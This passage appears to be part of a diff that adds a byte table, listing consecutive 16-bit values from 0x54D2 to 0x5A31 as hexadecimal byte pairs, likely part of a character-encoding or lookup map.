0x54, 0xD2, 0x54, 0xD3, + 0x54, 0xD4, 0x54, 0xD5, 0x54, 0xD6, 0x54, 0xD7, + 0x54, 0xD8, 0x54, 0xD9, 0x54, 0xDA, 0x54, 0xDB, + 0x54, 0xDC, 0x54, 0xDD, 0x54, 0xDE, 0x54, 0xDF, + 0x54, 0xE0, 0x54, 0xE1, 0x54, 0xE2, 0x54, 0xE3, + 0x54, 0xE4, 0x54, 0xE5, 0x54, 0xE6, 0x54, 0xE7, + 0x54, 0xE8, 0x54, 0xE9, 0x54, 0xEA, 0x54, 0xEB, + 0x54, 0xEC, 0x54, 0xED, 0x54, 0xEE, 0x54, 0xEF, + 0x54, 0xF0, 0x54, 0xF1, 0x54, 0xF2, 0x54, 0xF3, + 0x54, 0xF4, 0x54, 0xF5, 0x54, 0xF6, 0x54, 0xF7, + 0x54, 0xF8, 0x54, 0xF9, 0x54, 0xFA, 0x54, 0xFB, + 0x54, 0xFC, 0x54, 0xFD, 0x54, 0xFE, 0x54, 0xFF, + 0x55, 0x00, 0x55, 0x01, 0x55, 0x02, 0x55, 0x03, + 0x55, 0x04, 0x55, 0x05, 0x55, 0x06, 0x55, 0x07, + 0x55, 0x08, 0x55, 0x09, 0x55, 0x0A, 0x55, 0x0B, + 0x55, 0x0C, 0x55, 0x0D, 0x55, 0x0E, 0x55, 0x0F, + 0x55, 0x10, 0x55, 0x11, 0x55, 0x12, 0x55, 0x13, + 0x55, 0x14, 0x55, 0x15, 0x55, 0x16, 0x55, 0x17, + 0x55, 0x18, 0x55, 0x19, 0x55, 0x1A, 0x55, 0x1B, + 0x55, 0x1C, 0x55, 0x1D, 0x55, 0x1E, 0x55, 0x1F, + 0x55, 0x20, 0x55, 0x21, 0x55, 0x22, 0x55, 0x23, + 0x55, 0x24, 0x55, 0x25, 0x55, 0x26, 0x55, 0x27, + 0x55, 0x28, 0x55, 0x29, 0x55, 0x2A, 0x55, 0x2B, + 0x55, 0x2C, 0x55, 0x2D, 0x55, 0x2E, 0x55, 0x2F, + 0x55, 0x30, 0x55, 0x31, 0x55, 0x32, 0x55, 0x33, + 0x55, 0x34, 0x55, 0x35, 0x55, 0x36, 0x55, 0x37, + 0x55, 0x38, 0x55, 0x39, 0x55, 0x3A, 0x55, 0x3B, + 0x55, 0x3C, 0x55, 0x3D, 0x55, 0x3E, 0x55, 0x3F, + 0x55, 0x40, 0x55, 0x41, 0x55, 0x42, 0x55, 0x43, + 0x55, 0x44, 0x55, 0x45, 0x55, 0x46, 0x55, 0x47, + 0x55, 0x48, 0x55, 0x49, 0x55, 0x4A, 0x55, 0x4B, + 0x55, 0x4C, 0x55, 0x4D, 0x55, 0x4E, 0x55, 0x4F, + 0x55, 0x50, 0x55, 0x51, 0x55, 0x52, 0x55, 0x53, + 0x55, 0x54, 0x55, 0x55, 0x55, 0x56, 0x55, 0x57, + 0x55, 0x58, 0x55, 0x59, 0x55, 0x5A, 0x55, 0x5B, + 0x55, 0x5C, 0x55, 0x5D, 0x55, 0x5E, 0x55, 0x5F, + 0x55, 0x60, 0x55, 0x61, 0x55, 0x62, 0x55, 0x63, + 0x55, 0x64, 0x55, 0x65, 0x55, 0x66, 0x55, 0x67, + 0x55, 0x68, 0x55, 0x69, 0x55, 0x6A, 0x55, 0x6B, + 0x55, 0x6C, 0x55, 0x6D, 0x55, 0x6E, 0x55, 0x6F, + 0x55, 0x70, 0x55, 0x71, 0x55, 0x72, 0x55, 0x73, + 0x55, 0x74, 0x55, 0x75, 0x55, 0x76, 0x55, 0x77, + 0x55, 0x78, 0x55, 0x79, 0x55, 0x7A, 0x55, 0x7B, + 0x55, 0x7C, 0x55, 0x7D, 0x55, 0x7E, 0x55, 0x7F, + 0x55, 0x80, 0x55, 0x81, 0x55, 0x82, 0x55, 0x83, + 0x55, 0x84, 0x55, 0x85, 0x55, 0x86, 0x55, 0x87, + 0x55, 0x88, 0x55, 0x89, 0x55, 0x8A, 0x55, 0x8B, + 0x55, 0x8C, 0x55, 0x8D, 0x55, 0x8E, 0x55, 0x8F, + 0x55, 0x90, 0x55, 0x91, 0x55, 0x92, 0x55, 0x93, + 0x55, 0x94, 0x55, 0x95, 0x55, 0x96, 0x55, 0x97, + 0x55, 0x98, 0x55, 0x99, 0x55, 0x9A, 0x55, 0x9B, + 0x55, 0x9C, 0x55, 0x9D, 0x55, 0x9E, 0x55, 0x9F, + 0x55, 0xA0, 0x55, 0xA1, 0x55, 0xA2, 0x55, 0xA3, + 0x55, 0xA4, 0x55, 0xA5, 0x55, 0xA6, 0x55, 0xA7, + 0x55, 0xA8, 0x55, 0xA9, 0x55, 0xAA, 0x55, 0xAB, + 0x55, 0xAC, 0x55, 0xAD, 0x55, 0xAE, 0x55, 0xAF, + 0x55, 0xB0, 0x55, 0xB1, 0x55, 0xB2, 0x55, 0xB3, + 0x55, 0xB4, 0x55, 0xB5, 0x55, 0xB6, 0x55, 0xB7, + 0x55, 0xB8, 0x55, 0xB9, 0x55, 0xBA, 0x55, 0xBB, + 0x55, 0xBC, 0x55, 0xBD, 0x55, 0xBE, 0x55, 0xBF, + 0x55, 0xC0, 0x55, 0xC1, 0x55, 0xC2, 0x55, 0xC3, + 0x55, 0xC4, 0x55, 0xC5, 0x55, 0xC6, 0x55, 0xC7, + 0x55, 0xC8, 0x55, 0xC9, 0x55, 0xCA, 0x55, 0xCB, + 0x55, 0xCC, 0x55, 0xCD, 0x55, 0xCE, 0x55, 0xCF, + 0x55, 0xD0, 0x55, 0xD1, 0x55, 0xD2, 0x55, 0xD3, + 0x55, 0xD4, 0x55, 0xD5, 0x55, 0xD6, 0x55, 0xD7, + 0x55, 0xD8, 0x55, 0xD9, 0x55, 0xDA, 0x55, 0xDB, + 0x55, 0xDC, 0x55, 0xDD, 0x55, 0xDE, 0x55, 0xDF, + 0x55, 0xE0, 0x55, 0xE1, 0x55, 0xE2, 0x55, 0xE3, + 0x55, 0xE4, 0x55, 0xE5, 0x55, 0xE6, 0x55, 0xE7, + 0x55, 0xE8, 0x55, 0xE9, 0x55, 0xEA, 0x55, 0xEB, + 0x55, 0xEC, 0x55, 0xED, 0x55, 0xEE, 0x55, 0xEF, + 0x55, 0xF0, 0x55, 0xF1, 0x55, 0xF2, 0x55, 0xF3, + 0x55, 0xF4, 0x55, 0xF5, 0x55, 0xF6, 0x55, 0xF7, + 0x55, 0xF8, 0x55, 0xF9, 0x55, 0xFA, 0x55, 0xFB, + 0x55, 0xFC, 0x55, 0xFD, 0x55, 0xFE, 0x55, 0xFF, + 0x56, 0x00, 0x56, 0x01, 0x56, 0x02, 0x56, 0x03, + 0x56, 0x04, 0x56, 0x05, 0x56, 0x06, 0x56, 0x07, + 0x56, 0x08, 0x56, 0x09, 0x56, 0x0A, 0x56, 0x0B, + 0x56, 0x0C, 0x56, 0x0D, 0x56, 0x0E, 0x56, 0x0F, + 0x56, 0x10, 0x56, 0x11, 0x56, 0x12, 0x56, 0x13, + 0x56, 0x14, 0x56, 0x15, 0x56, 0x16, 0x56, 0x17, + 0x56, 0x18, 0x56, 0x19, 0x56, 0x1A, 0x56, 0x1B, + 0x56, 0x1C, 0x56, 0x1D, 0x56, 0x1E, 0x56, 0x1F, + 0x56, 0x20, 0x56, 0x21, 0x56, 0x22, 0x56, 0x23, + 0x56, 0x24, 0x56, 0x25, 0x56, 0x26, 0x56, 0x27, + 0x56, 0x28, 0x56, 0x29, 0x56, 0x2A, 0x56, 0x2B, + 0x56, 0x2C, 0x56, 0x2D, 0x56, 0x2E, 0x56, 0x2F, + 0x56, 0x30, 0x56, 0x31, 0x56, 0x32, 0x56, 0x33, + 0x56, 0x34, 0x56, 0x35, 0x56, 0x36, 0x56, 0x37, + 0x56, 0x38, 0x56, 0x39, 0x56, 0x3A, 0x56, 0x3B, + 0x56, 0x3C, 0x56, 0x3D, 0x56, 0x3E, 0x56, 0x3F, + 0x56, 0x40, 0x56, 0x41, 0x56, 0x42, 0x56, 0x43, + 0x56, 0x44, 0x56, 0x45, 0x56, 0x46, 0x56, 0x47, + 0x56, 0x48, 0x56, 0x49, 0x56, 0x4A, 0x56, 0x4B, + 0x56, 0x4C, 0x56, 0x4D, 0x56, 0x4E, 0x56, 0x4F, + 0x56, 0x50, 0x56, 0x51, 0x56, 0x52, 0x56, 0x53, + 0x56, 0x54, 0x56, 0x55, 0x56, 0x56, 0x56, 0x57, + 0x56, 0x58, 0x56, 0x59, 0x56, 0x5A, 0x56, 0x5B, + 0x56, 0x5C, 0x56, 0x5D, 0x56, 0x5E, 0x56, 0x5F, + 0x56, 0x60, 0x56, 0x61, 0x56, 0x62, 0x56, 0x63, + 0x56, 0x64, 0x56, 0x65, 0x56, 0x66, 0x56, 0x67, + 0x56, 0x68, 0x56, 0x69, 0x56, 0x6A, 0x56, 0x6B, + 0x56, 0x6C, 0x56, 0x6D, 0x56, 0x6E, 0x56, 0x6F, + 0x56, 0x70, 0x56, 0x71, 0x56, 0x72, 0x56, 0x73, + 0x56, 0x74, 0x56, 0x75, 0x56, 0x76, 0x56, 0x77, + 0x56, 0x78, 0x56, 0x79, 0x56, 0x7A, 0x56, 0x7B, + 0x56, 0x7C, 0x56, 0x7D, 0x56, 0x7E, 0x56, 0x7F, + 0x56, 0x80, 0x56, 0x81, 0x56, 0x82, 0x56, 0x83, + 0x56, 0x84, 0x56, 0x85, 0x56, 0x86, 0x56, 0x87, + 0x56, 0x88, 0x56, 0x89, 0x56, 0x8A, 0x56, 0x8B, + 0x56, 0x8C, 0x56, 0x8D, 0x56, 0x8E, 0x56, 0x8F, + 0x56, 0x90, 0x56, 0x91, 0x56, 0x92, 0x56, 0x93, + 0x56, 0x94, 0x56, 0x95, 0x56, 0x96, 0x56, 0x97, + 0x56, 0x98, 0x56, 0x99, 0x56, 0x9A, 0x56, 0x9B, + 0x56, 0x9C, 0x56, 0x9D, 0x56, 0x9E, 0x56, 0x9F, + 0x56, 0xA0, 0x56, 0xA1, 0x56, 0xA2, 0x56, 0xA3, + 0x56, 0xA4, 0x56, 0xA5, 0x56, 0xA6, 0x56, 0xA7, + 0x56, 0xA8, 0x56, 0xA9, 0x56, 0xAA, 0x56, 0xAB, + 0x56, 0xAC, 0x56, 0xAD, 0x56, 0xAE, 0x56, 0xAF, + 0x56, 0xB0, 0x56, 0xB1, 0x56, 0xB2, 0x56, 0xB3, + 0x56, 0xB4, 0x56, 0xB5, 0x56, 0xB6, 0x56, 0xB7, + 0x56, 0xB8, 0x56, 0xB9, 0x56, 0xBA, 0x56, 0xBB, + 0x56, 0xBC, 0x56, 0xBD, 0x56, 0xBE, 0x56, 0xBF, + 0x56, 0xC0, 0x56, 0xC1, 0x56, 0xC2, 0x56, 0xC3, + 0x56, 0xC4, 0x56, 0xC5, 0x56, 0xC6, 0x56, 0xC7, + 0x56, 0xC8, 0x56, 0xC9, 0x56, 0xCA, 0x56, 0xCB, + 0x56, 0xCC, 0x56, 0xCD, 0x56, 0xCE, 0x56, 0xCF, + 0x56, 0xD0, 0x56, 0xD1, 0x56, 0xD2, 0x56, 0xD3, + 0x56, 0xD4, 0x56, 0xD5, 0x56, 0xD6, 0x56, 0xD7, + 0x56, 0xD8, 0x56, 0xD9, 0x56, 0xDA, 0x56, 0xDB, + 0x56, 0xDC, 0x56, 0xDD, 0x56, 0xDE, 0x56, 0xDF, + 0x56, 0xE0, 0x56, 0xE1, 0x56, 0xE2, 0x56, 0xE3, + 0x56, 0xE4, 0x56, 0xE5, 0x56, 0xE6, 0x56, 0xE7, + 0x56, 0xE8, 0x56, 0xE9, 0x56, 0xEA, 0x56, 0xEB, + 0x56, 0xEC, 0x56, 0xED, 0x56, 0xEE, 0x56, 0xEF, + 0x56, 0xF0, 0x56, 0xF1, 0x56, 0xF2, 0x56, 0xF3, + 0x56, 0xF4, 0x56, 0xF5, 0x56, 0xF6, 0x56, 0xF7, + 0x56, 0xF8, 0x56, 0xF9, 0x56, 0xFA, 0x56, 0xFB, + 0x56, 0xFC, 0x56, 0xFD, 0x56, 0xFE, 0x56, 0xFF, + 0x57, 0x00, 0x57, 0x01, 0x57, 0x02, 0x57, 0x03, + 0x57, 0x04, 0x57, 0x05, 0x57, 0x06, 0x57, 0x07, + 0x57, 0x08, 0x57, 0x09, 0x57, 0x0A, 0x57, 0x0B, + 0x57, 0x0C, 0x57, 0x0D, 0x57, 0x0E, 0x57, 0x0F, + 0x57, 0x10, 0x57, 0x11, 0x57, 0x12, 0x57, 0x13, + 0x57, 0x14, 0x57, 0x15, 0x57, 0x16, 0x57, 0x17, + 0x57, 0x18, 0x57, 0x19, 0x57, 0x1A, 0x57, 0x1B, + 0x57, 0x1C, 0x57, 0x1D, 0x57, 0x1E, 0x57, 0x1F, + 0x57, 0x20, 0x57, 0x21, 0x57, 0x22, 0x57, 0x23, + 0x57, 0x24, 0x57, 0x25, 0x57, 0x26, 0x57, 0x27, + 0x57, 0x28, 0x57, 0x29, 0x57, 0x2A, 0x57, 0x2B, + 0x57, 0x2C, 0x57, 0x2D, 0x57, 0x2E, 0x57, 0x2F, + 0x57, 0x30, 0x57, 0x31, 0x57, 0x32, 0x57, 0x33, + 0x57, 0x34, 0x57, 0x35, 0x57, 0x36, 0x57, 0x37, + 0x57, 0x38, 0x57, 0x39, 0x57, 0x3A, 0x57, 0x3B, + 0x57, 0x3C, 0x57, 0x3D, 0x57, 0x3E, 0x57, 0x3F, + 0x57, 0x40, 0x57, 0x41, 0x57, 0x42, 0x57, 0x43, + 0x57, 0x44, 0x57, 0x45, 0x57, 0x46, 0x57, 0x47, + 0x57, 0x48, 0x57, 0x49, 0x57, 0x4A, 0x57, 0x4B, + 0x57, 0x4C, 0x57, 0x4D, 0x57, 0x4E, 0x57, 0x4F, + 0x57, 0x50, 0x57, 0x51, 0x57, 0x52, 0x57, 0x53, + 0x57, 0x54, 0x57, 0x55, 0x57, 0x56, 0x57, 0x57, + 0x57, 0x58, 0x57, 0x59, 0x57, 0x5A, 0x57, 0x5B, + 0x57, 0x5C, 0x57, 0x5D, 0x57, 0x5E, 0x57, 0x5F, + 0x57, 0x60, 0x57, 0x61, 0x57, 0x62, 0x57, 0x63, + 0x57, 0x64, 0x57, 0x65, 0x57, 0x66, 0x57, 0x67, + 0x57, 0x68, 0x57, 0x69, 0x57, 0x6A, 0x57, 0x6B, + 0x57, 0x6C, 0x57, 0x6D, 0x57, 0x6E, 0x57, 0x6F, + 0x57, 0x70, 0x57, 0x71, 0x57, 0x72, 0x57, 0x73, + 0x57, 0x74, 0x57, 0x75, 0x57, 0x76, 0x57, 0x77, + 0x57, 0x78, 0x57, 0x79, 0x57, 0x7A, 0x57, 0x7B, + 0x57, 0x7C, 0x57, 0x7D, 0x57, 0x7E, 0x57, 0x7F, + 0x57, 0x80, 0x57, 0x81, 0x57, 0x82, 0x57, 0x83, + 0x57, 0x84, 0x57, 0x85, 0x57, 0x86, 0x57, 0x87, + 0x57, 0x88, 0x57, 0x89, 0x57, 0x8A, 0x57, 0x8B, + 0x57, 0x8C, 0x57, 0x8D, 0x57, 0x8E, 0x57, 0x8F, + 0x57, 0x90, 0x57, 0x91, 0x57, 0x92, 0x57, 0x93, + 0x57, 0x94, 0x57, 0x95, 0x57, 0x96, 0x57, 0x97, + 0x57, 0x98, 0x57, 0x99, 0x57, 0x9A, 0x57, 0x9B, + 0x57, 0x9C, 0x57, 0x9D, 0x57, 0x9E, 0x57, 0x9F, + 0x57, 0xA0, 0x57, 0xA1, 0x57, 0xA2, 0x57, 0xA3, + 0x57, 0xA4, 0x57, 0xA5, 0x57, 0xA6, 0x57, 0xA7, + 0x57, 0xA8, 0x57, 0xA9, 0x57, 0xAA, 0x57, 0xAB, + 0x57, 0xAC, 0x57, 0xAD, 0x57, 0xAE, 0x57, 0xAF, + 0x57, 0xB0, 0x57, 0xB1, 0x57, 0xB2, 0x57, 0xB3, + 0x57, 0xB4, 0x57, 0xB5, 0x57, 0xB6, 0x57, 0xB7, + 0x57, 0xB8, 0x57, 0xB9, 0x57, 0xBA, 0x57, 0xBB, + 0x57, 0xBC, 0x57, 0xBD, 0x57, 0xBE, 0x57, 0xBF, + 0x57, 0xC0, 0x57, 0xC1, 0x57, 0xC2, 0x57, 0xC3, + 0x57, 0xC4, 0x57, 0xC5, 0x57, 0xC6, 0x57, 0xC7, + 0x57, 0xC8, 0x57, 0xC9, 0x57, 0xCA, 0x57, 0xCB, + 0x57, 0xCC, 0x57, 0xCD, 0x57, 0xCE, 0x57, 0xCF, + 0x57, 0xD0, 0x57, 0xD1, 0x57, 0xD2, 0x57, 0xD3, + 0x57, 0xD4, 0x57, 0xD5, 0x57, 0xD6, 0x57, 0xD7, + 0x57, 0xD8, 0x57, 0xD9, 0x57, 0xDA, 0x57, 0xDB, + 0x57, 0xDC, 0x57, 0xDD, 0x57, 0xDE, 0x57, 0xDF, + 0x57, 0xE0, 0x57, 0xE1, 0x57, 0xE2, 0x57, 0xE3, + 0x57, 0xE4, 0x57, 0xE5, 0x57, 0xE6, 0x57, 0xE7, + 0x57, 0xE8, 0x57, 0xE9, 0x57, 0xEA, 0x57, 0xEB, + 0x57, 0xEC, 0x57, 0xED, 0x57, 0xEE, 0x57, 0xEF, + 0x57, 0xF0, 0x57, 0xF1, 0x57, 0xF2, 0x57, 0xF3, + 0x57, 0xF4, 0x57, 0xF5, 0x57, 0xF6, 0x57, 0xF7, + 0x57, 0xF8, 0x57, 0xF9, 0x57, 0xFA, 0x57, 0xFB, + 0x57, 0xFC, 0x57, 0xFD, 0x57, 0xFE, 0x57, 0xFF, + 0x58, 0x00, 0x58, 0x01, 0x58, 0x02, 0x58, 0x03, + 0x58, 0x04, 0x58, 0x05, 0x58, 0x06, 0x58, 0x07, + 0x58, 0x08, 0x58, 0x09, 0x58, 0x0A, 0x58, 0x0B, + 0x58, 0x0C, 0x58, 0x0D, 0x58, 0x0E, 0x58, 0x0F, + 0x58, 0x10, 0x58, 0x11, 0x58, 0x12, 0x58, 0x13, + 0x58, 0x14, 0x58, 0x15, 0x58, 0x16, 0x58, 0x17, + 0x58, 0x18, 0x58, 0x19, 0x58, 0x1A, 0x58, 0x1B, + 0x58, 0x1C, 0x58, 0x1D, 0x58, 0x1E, 0x58, 0x1F, + 0x58, 0x20, 0x58, 0x21, 0x58, 0x22, 0x58, 0x23, + 0x58, 0x24, 0x58, 0x25, 0x58, 0x26, 0x58, 0x27, + 0x58, 0x28, 0x58, 0x29, 0x58, 0x2A, 0x58, 0x2B, + 0x58, 0x2C, 0x58, 0x2D, 0x58, 0x2E, 0x58, 0x2F, + 0x58, 0x30, 0x58, 0x31, 0x58, 0x32, 0x58, 0x33, + 0x58, 0x34, 0x58, 0x35, 0x58, 0x36, 0x58, 0x37, + 0x58, 0x38, 0x58, 0x39, 0x58, 0x3A, 0x58, 0x3B, + 0x58, 0x3C, 0x58, 0x3D, 0x58, 0x3E, 0x58, 0x3F, + 0x58, 0x40, 0x58, 0x41, 0x58, 0x42, 0x58, 0x43, + 0x58, 0x44, 0x58, 0x45, 0x58, 0x46, 0x58, 0x47, + 0x58, 0x48, 0x58, 0x49, 0x58, 0x4A, 0x58, 0x4B, + 0x58, 0x4C, 0x58, 0x4D, 0x58, 0x4E, 0x58, 0x4F, + 0x58, 0x50, 0x58, 0x51, 0x58, 0x52, 0x58, 0x53, + 0x58, 0x54, 0x58, 0x55, 0x58, 0x56, 0x58, 0x57, + 0x58, 0x58, 0x58, 0x59, 0x58, 0x5A, 0x58, 0x5B, + 0x58, 0x5C, 0x58, 0x5D, 0x58, 0x5E, 0x58, 0x5F, + 0x58, 0x60, 0x58, 0x61, 0x58, 0x62, 0x58, 0x63, + 0x58, 0x64, 0x58, 0x65, 0x58, 0x66, 0x58, 0x67, + 0x58, 0x68, 0x58, 0x69, 0x58, 0x6A, 0x58, 0x6B, + 0x58, 0x6C, 0x58, 0x6D, 0x58, 0x6E, 0x58, 0x6F, + 0x58, 0x70, 0x58, 0x71, 0x58, 0x72, 0x58, 0x73, + 0x58, 0x74, 0x58, 0x75, 0x58, 0x76, 0x58, 0x77, + 0x58, 0x78, 0x58, 0x79, 0x58, 0x7A, 0x58, 0x7B, + 0x58, 0x7C, 0x58, 0x7D, 0x58, 0x7E, 0x58, 0x7F, + 0x58, 0x80, 0x58, 0x81, 0x58, 0x82, 0x58, 0x83, + 0x58, 0x84, 0x58, 0x85, 0x58, 0x86, 0x58, 0x87, + 0x58, 0x88, 0x58, 0x89, 0x58, 0x8A, 0x58, 0x8B, + 0x58, 0x8C, 0x58, 0x8D, 0x58, 0x8E, 0x58, 0x8F, + 0x58, 0x90, 0x58, 0x91, 0x58, 0x92, 0x58, 0x93, + 0x58, 0x94, 0x58, 0x95, 0x58, 0x96, 0x58, 0x97, + 0x58, 0x98, 0x58, 0x99, 0x58, 0x9A, 0x58, 0x9B, + 0x58, 0x9C, 0x58, 0x9D, 0x58, 0x9E, 0x58, 0x9F, + 0x58, 0xA0, 0x58, 0xA1, 0x58, 0xA2, 0x58, 0xA3, + 0x58, 0xA4, 0x58, 0xA5, 0x58, 0xA6, 0x58, 0xA7, + 0x58, 0xA8, 0x58, 0xA9, 0x58, 0xAA, 0x58, 0xAB, + 0x58, 0xAC, 0x58, 0xAD, 0x58, 0xAE, 0x58, 0xAF, + 0x58, 0xB0, 0x58, 0xB1, 0x58, 0xB2, 0x58, 0xB3, + 0x58, 0xB4, 0x58, 0xB5, 0x58, 0xB6, 0x58, 0xB7, + 0x58, 0xB8, 0x58, 0xB9, 0x58, 0xBA, 0x58, 0xBB, + 0x58, 0xBC, 0x58, 0xBD, 0x58, 0xBE, 0x58, 0xBF, + 0x58, 0xC0, 0x58, 0xC1, 0x58, 0xC2, 0x58, 0xC3, + 0x58, 0xC4, 0x58, 0xC5, 0x58, 0xC6, 0x58, 0xC7, + 0x58, 0xC8, 0x58, 0xC9, 0x58, 0xCA, 0x58, 0xCB, + 0x58, 0xCC, 0x58, 0xCD, 0x58, 0xCE, 0x58, 0xCF, + 0x58, 0xD0, 0x58, 0xD1, 0x58, 0xD2, 0x58, 0xD3, + 0x58, 0xD4, 0x58, 0xD5, 0x58, 0xD6, 0x58, 0xD7, + 0x58, 0xD8, 0x58, 0xD9, 0x58, 0xDA, 0x58, 0xDB, + 0x58, 0xDC, 0x58, 0xDD, 0x58, 0xDE, 0x58, 0xDF, + 0x58, 0xE0, 0x58, 0xE1, 0x58, 0xE2, 0x58, 0xE3, + 0x58, 0xE4, 0x58, 0xE5, 0x58, 0xE6, 0x58, 0xE7, + 0x58, 0xE8, 0x58, 0xE9, 0x58, 0xEA, 0x58, 0xEB, + 0x58, 0xEC, 0x58, 0xED, 0x58, 0xEE, 0x58, 0xEF, + 0x58, 0xF0, 0x58, 0xF1, 0x58, 0xF2, 0x58, 0xF3, + 0x58, 0xF4, 0x58, 0xF5, 0x58, 0xF6, 0x58, 0xF7, + 0x58, 0xF8, 0x58, 0xF9, 0x58, 0xFA, 0x58, 0xFB, + 0x58, 0xFC, 0x58, 0xFD, 0x58, 0xFE, 0x58, 0xFF, + 0x59, 0x00, 0x59, 0x01, 0x59, 0x02, 0x59, 0x03, + 0x59, 0x04, 0x59, 0x05, 0x59, 0x06, 0x59, 0x07, + 0x59, 0x08, 0x59, 0x09, 0x59, 0x0A, 0x59, 0x0B, + 0x59, 0x0C, 0x59, 0x0D, 0x59, 0x0E, 0x59, 0x0F, + 0x59, 0x10, 0x59, 0x11, 0x59, 0x12, 0x59, 0x13, + 0x59, 0x14, 0x59, 0x15, 0x59, 0x16, 0x59, 0x17, + 0x59, 0x18, 0x59, 0x19, 0x59, 0x1A, 0x59, 0x1B, + 0x59, 0x1C, 0x59, 0x1D, 0x59, 0x1E, 0x59, 0x1F, + 0x59, 0x20, 0x59, 0x21, 0x59, 0x22, 0x59, 0x23, + 0x59, 0x24, 0x59, 0x25, 0x59, 0x26, 0x59, 0x27, + 0x59, 0x28, 0x59, 0x29, 0x59, 0x2A, 0x59, 0x2B, + 0x59, 0x2C, 0x59, 0x2D, 0x59, 0x2E, 0x59, 0x2F, + 0x59, 0x30, 0x59, 0x31, 0x59, 0x32, 0x59, 0x33, + 0x59, 0x34, 0x59, 0x35, 0x59, 0x36, 0x59, 0x37, + 0x59, 0x38, 0x59, 0x39, 0x59, 0x3A, 0x59, 0x3B, + 0x59, 0x3C, 0x59, 0x3D, 0x59, 0x3E, 0x59, 0x3F, + 0x59, 0x40, 0x59, 0x41, 0x59, 0x42, 0x59, 0x43, + 0x59, 0x44, 0x59, 0x45, 0x59, 0x46, 0x59, 0x47, + 0x59, 0x48, 0x59, 0x49, 0x59, 0x4A, 0x59, 0x4B, + 0x59, 0x4C, 0x59, 0x4D, 0x59, 0x4E, 0x59, 0x4F, + 0x59, 0x50, 0x59, 0x51, 0x59, 0x52, 0x59, 0x53, + 0x59, 0x54, 0x59, 0x55, 0x59, 0x56, 0x59, 0x57, + 0x59, 0x58, 0x59, 0x59, 0x59, 0x5A, 0x59, 0x5B, + 0x59, 0x5C, 0x59, 0x5D, 0x59, 0x5E, 0x59, 0x5F, + 0x59, 0x60, 0x59, 0x61, 0x59, 0x62, 0x59, 0x63, + 0x59, 0x64, 0x59, 0x65, 0x59, 0x66, 0x59, 0x67, + 0x59, 0x68, 0x59, 0x69, 0x59, 0x6A, 0x59, 0x6B, + 0x59, 0x6C, 0x59, 0x6D, 0x59, 0x6E, 0x59, 0x6F, + 0x59, 0x70, 0x59, 0x71, 0x59, 0x72, 0x59, 0x73, + 0x59, 0x74, 0x59, 0x75, 0x59, 0x76, 0x59, 0x77, + 0x59, 0x78, 0x59, 0x79, 0x59, 0x7A, 0x59, 0x7B, + 0x59, 0x7C, 0x59, 0x7D, 0x59, 0x7E, 0x59, 0x7F, + 0x59, 0x80, 0x59, 0x81, 0x59, 0x82, 0x59, 0x83, + 0x59, 0x84, 0x59, 0x85, 0x59, 0x86, 0x59, 0x87, + 0x59, 0x88, 0x59, 0x89, 0x59, 0x8A, 0x59, 0x8B, + 0x59, 0x8C, 0x59, 0x8D, 0x59, 0x8E, 0x59, 0x8F, + 0x59, 0x90, 0x59, 0x91, 0x59, 0x92, 0x59, 0x93, + 0x59, 0x94, 0x59, 0x95, 0x59, 0x96, 0x59, 0x97, + 0x59, 0x98, 0x59, 0x99, 0x59, 0x9A, 0x59, 0x9B, + 0x59, 0x9C, 0x59, 0x9D, 0x59, 0x9E, 0x59, 0x9F, + 0x59, 0xA0, 0x59, 0xA1, 0x59, 0xA2, 0x59, 0xA3, + 0x59, 0xA4, 0x59, 0xA5, 0x59, 0xA6, 0x59, 0xA7, + 0x59, 0xA8, 0x59, 0xA9, 0x59, 0xAA, 0x59, 0xAB, + 0x59, 0xAC, 0x59, 0xAD, 0x59, 0xAE, 0x59, 0xAF, + 0x59, 0xB0, 0x59, 0xB1, 0x59, 0xB2, 0x59, 0xB3, + 0x59, 0xB4, 0x59, 0xB5, 0x59, 0xB6, 0x59, 0xB7, + 0x59, 0xB8, 0x59, 0xB9, 0x59, 0xBA, 0x59, 0xBB, + 0x59, 0xBC, 0x59, 0xBD, 0x59, 0xBE, 0x59, 0xBF, + 0x59, 0xC0, 0x59, 0xC1, 0x59, 0xC2, 0x59, 0xC3, + 0x59, 0xC4, 0x59, 0xC5, 0x59, 0xC6, 0x59, 0xC7, + 0x59, 0xC8, 0x59, 0xC9, 0x59, 0xCA, 0x59, 0xCB, + 0x59, 0xCC, 0x59, 0xCD, 0x59, 0xCE, 0x59, 0xCF, + 0x59, 0xD0, 0x59, 0xD1, 0x59, 0xD2, 0x59, 0xD3, + 0x59, 0xD4, 0x59, 0xD5, 0x59, 0xD6, 0x59, 0xD7, + 0x59, 0xD8, 0x59, 0xD9, 0x59, 0xDA, 0x59, 0xDB, + 0x59, 0xDC, 0x59, 0xDD, 0x59, 0xDE, 0x59, 0xDF, + 0x59, 0xE0, 0x59, 0xE1, 0x59, 0xE2, 0x59, 0xE3, + 0x59, 0xE4, 0x59, 0xE5, 0x59, 0xE6, 0x59, 0xE7, + 0x59, 0xE8, 0x59, 0xE9, 0x59, 0xEA, 0x59, 0xEB, + 0x59, 0xEC, 0x59, 0xED, 0x59, 0xEE, 0x59, 0xEF, + 0x59, 0xF0, 0x59, 0xF1, 0x59, 0xF2, 0x59, 0xF3, + 0x59, 0xF4, 0x59, 0xF5, 0x59, 0xF6, 0x59, 0xF7, + 0x59, 0xF8, 0x59, 0xF9, 0x59, 0xFA, 0x59, 0xFB, + 0x59, 0xFC, 0x59, 0xFD, 0x59, 0xFE, 0x59, 0xFF, + 0x5A, 0x00, 0x5A, 0x01, 0x5A, 0x02, 0x5A, 0x03, + 0x5A, 0x04, 0x5A, 0x05, 0x5A, 0x06, 0x5A, 0x07, + 0x5A, 0x08, 0x5A, 0x09, 0x5A, 0x0A, 0x5A, 0x0B, + 0x5A, 0x0C, 0x5A, 0x0D, 0x5A, 0x0E, 0x5A, 0x0F, + 0x5A, 0x10, 0x5A, 0x11, 0x5A, 0x12, 0x5A, 0x13, + 0x5A, 0x14, 0x5A, 0x15, 0x5A, 0x16, 0x5A, 0x17, + 0x5A, 0x18, 0x5A, 0x19, 0x5A, 0x1A, 0x5A, 0x1B, + 0x5A, 0x1C, 0x5A, 0x1D, 0x5A, 0x1E, 0x5A, 0x1F, + 0x5A, 0x20, 0x5A, 0x21, 0x5A, 0x22, 0x5A, 0x23, + 0x5A, 0x24, 0x5A, 0x25, 0x5A, 0x26, 0x5A, 0x27, + 0x5A, 0x28, 0x5A, 0x29, 0x5A, 0x2A, 0x5A, 0x2B, + 0x5A, 0x2C, 0x5A, 0x2D, 0x5A, 0x2E, 0x5A, 0x2F, + 0x5A, 0x30, 0x5A, 0x31, 0x5A, 